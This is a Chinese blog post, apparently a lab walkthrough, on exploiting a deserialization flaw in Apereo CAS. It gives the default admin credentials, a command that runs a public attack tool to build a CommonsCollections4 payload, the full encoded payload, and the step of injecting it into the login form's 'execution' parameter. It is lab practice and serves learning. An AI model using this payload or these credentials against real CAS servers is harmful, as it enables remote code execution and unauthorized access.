当前位置: 首页 > backend >正文

Apereo CAS靶场渗透练习

一、靶场搭建

搭建完成后,靶场URL弹出404

后台登录接口为:/cas/login ,登入该接口

二、漏洞验证

1.Apereo CAS管理界面的默认口令为:casuser\Mellon,尝试登录成功

2.下载工具: apereo-cas-attack-1.0-SNAPSHOT-all.jar,下载地址:https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

运行:java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

生成payload:748a638b-b92a-4f83-944e-50f0097ef75d_AAAAIgAAABBs8OWaxyA6cLtk8%2BKZ9b%2BcAAAABmFlczEyOP1FcvmNUx6ssRweFSjINCAHzJZMaYPYoXxK7vbAErn2SSqrL0kgrnf1c3PP8c721Mvk%2FhiaZUWFFiMWGtfkXDfLMRia0qISg%2B2GXBGaqZtzHT8y9GPxqmbvJXnnl5o4BGlqdptWAs7wRWxgUCe8r8Qt91KZvq3EWFcP59q0hW%2FNl1gm98Tzwubb5E6CQbBCPAXaNNB%2BsKX3rUEz%2FxuuuuLhN7cVIPYc%2Bs4wnELAtS26X61hd8FVMocFhBrkbvYG16Bs9yWYZtkCQTCqb%2FSRioSxuAT3sbQNTlAMEKcQsAsPMVJLrS%2FWML0gGli%2BOEtiIAURiebDQdW%2Fsg8IfNmokQ%2BJXcut%2Bg952amFTHpDT4Hnty6OeXCls2vHY0c6935lSS0QwnRhXuewcTX0dz9UqgjiQsFfW3WWVSCrIBWTYxdXXyPAViPy54N6Mv03KTkkXRhOoMyVRk8htiREA5TawXnYTXKLA9WUNrS4UyX2xWJv%2FsmateMzeCi2Iy8BuG%2F%2FjU80jCR%2Fdkd%2FxpV63aFnsFC8PoQbVmJEMm5aJl0ZHnGSHAhlBmz6rntkzQZhleRTztC27eMCuV%2FNXpVpkkI38Whwr5Fst5fTdvHc0i92condf3du%2BRBnatjbdONmKByn2pbl%2FzLLQx37xqgBBC%2BmmNFPnjSgxUimEyWuq8PjKyHWdQA%2BKR1mdhG45iBQCks4FwlhETagdEwUonLB4BPVw1shhCDEHi7eMTS%2B3n0rG3YVojay7u3Axn1BKiwGXIT8NxlOeaxNElU01RiZ0jZrgYyMxGOcxU8kfbBECUIMiE%2FHnEvCkj%2FtiGbNNV8SH4Pvy%2FcmINPl%2BkmzqvaNeoCRUqU4Kfo4oo6N3Puo31I2KtMo29ceO8DN14dRQ3Fbr%2BFAN1e4YpOu1U%2B%2FZL9S8k%2B0SpANHiI4VVmESS4arMTnQkZJfZfr%2BOR5wPfZSTBfTmuzGPdEyeMqA8np04Hvvkk9lLcie%2BN9He8Q%2BY7QWL2jfXeLl%2Bcy9zVOn9Whe1c551s9KKgbPBhgsAXkNQ%2Fx5XLv5iWZznSPZco0YfX8Dh%2BlfpzJ1dfejQVaRgpULu%2By5gdpMsWM3U8AS2rl1uxxxgZLBG%2FiTnNeYOGQBxdRdpbmkn%2BHuKDCCDaihcuKNrbgjWUy22mCzbDaayCk8Uh%2BIm7KSjYyGJ1%2BS0suHkkOGtMcadGeZ%2BC1MXM5xkCnbqh7I8%2FIz6iJEkgxBwFIXNGtgcSKyhFwxrzze%2FC0NedSSGUEZFfNISyzaUqKhrQcoSmfYZXZ79%2F2g1zxadtLRq3Q6UvnBAfoKq%2B6wkCydaeh%2BLIh009J5cY6ABqTrju3Y6KIg67fzzN54XUnGb80lpppNd9g4EJ34dn%2FMfyEpoWhP3HO8c21l6t4YccY9Ioy5LAdx19aiJUH5bz4h1vTQEfWF%2FMPQ82vdCVFLqcQgBW7oBM%2FBImN4ch6cwsdp1kU9abzXUSK%2BrsBNkVHnneErUyQLwmKGjb2RKjErwTQ%2Fa7s104FGGJP%2Bw4KiFQuopSBz5Lu8H2Rk%2FS%2FuNCm6CSNKh6bxGSf4%2B7V0MOvAxqzLwFcbZi8mRgqYXZ3QKfPP2ZOBfinS5%2BXQYYyj51bRBDmDoU51Hx6fB9UPy69t2bOR%2B5bCpddeyc6t2luphilnUzu47qR1DIQAkNFKPXr6q2vz7pbpPE1hxjnlsOse4ERvtqNbe9yuMJCiKmtBKOYjZH4Zxh9pEama%2BZlzkjQOojzPQOCSeg2oFl1ncTz1v9%2FFUuGk1qUVccaOPt6Kj10nKnd60%2FQ6qtmkXnzdAp1ykBnYdnZl1JBVkbY%2FYHCC4E5E0dn6XFtgfNigWY%2Fx0UfpA78QdzIijTHhby7%2Fhovhz9PpHAous72Tv%2Fzs96G%2B687jdC3MbJ1rK8dYErFjyQj%2BfiFnBiYxBzTgYCB8AzAPLZVE%2FDTMnpmbuYiuKrKDump3J7ZJ7SXzDzd

3.BurpSuite抓包

4.将execution后面内容替换成生成的payload,发现有回显,漏洞存在

三、漏洞利用

利用工具直接利用漏洞

http://www.xdnf.cn/news/17945.html

相关文章:

  • Windows常见文件夹cache的作用还有其他缓存类型文件夹的作用
  • pytest介绍(python测试框架)(@pytest.mark.parametrize、@pytest.fixtures)
  • functools:管理函数的工具
  • Autosar Os新手入门
  • Nginx蜘蛛请求智能分流:精准识别爬虫并转发SEO渲染服务
  • 3 种方式玩转网络继电器!W55MH32 实现网页 + 阿里云 + 本地控制互通
  • cuda编程笔记(15)--使用 CUB 和 atomicAdd 实现 histogram
  • Console.ReadLine()用法功能
  • 进程替换:从 “改头换面” 到程序加载的底层逻辑
  • PowerShell来关闭 Windows 安全中心
  • CUDA 编程笔记:CUDA内存模型概述
  • Nginx域名和IP兼容双方的API地址
  • Neural Network Layer|神经网络的层
  • Latex使用了期刊templates但是字体样式不对
  • Vue 3.5+ Teleport defer 属性详解:解决组件渲染顺序问题的终极方案
  • 数字化与人工智能的崛起及其社会影响研究报告
  • CentOS 7 一键部署 上Maria Database(MariaDB)10.3.38 安装手册(避开 Oracle 19c 路径)
  • UE5多人MOBA+GAS 46、制作龙卷风技能
  • draw.io编辑 UML 类图
  • Cohere 开发企业级大型语言模型(LLM)
  • css实现圆角+边框渐变+背景半透明
  • 开源数据发现平台:Amundsen Frontend Service React 配置 Flask 配置 Superset 预览集成
  • DeepResearch开源与闭源方案对比
  • python线程学习
  • 日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书,共120语法(2):11-20语法
  • 深入解析C++ STL链表(List)模拟实现
  • 【C++】类和对象——默认成员函数(中上)
  • OpenCV安装及配置
  • 【C 学习】06-算法程序设计举例
  • 基于51单片机的智能吊灯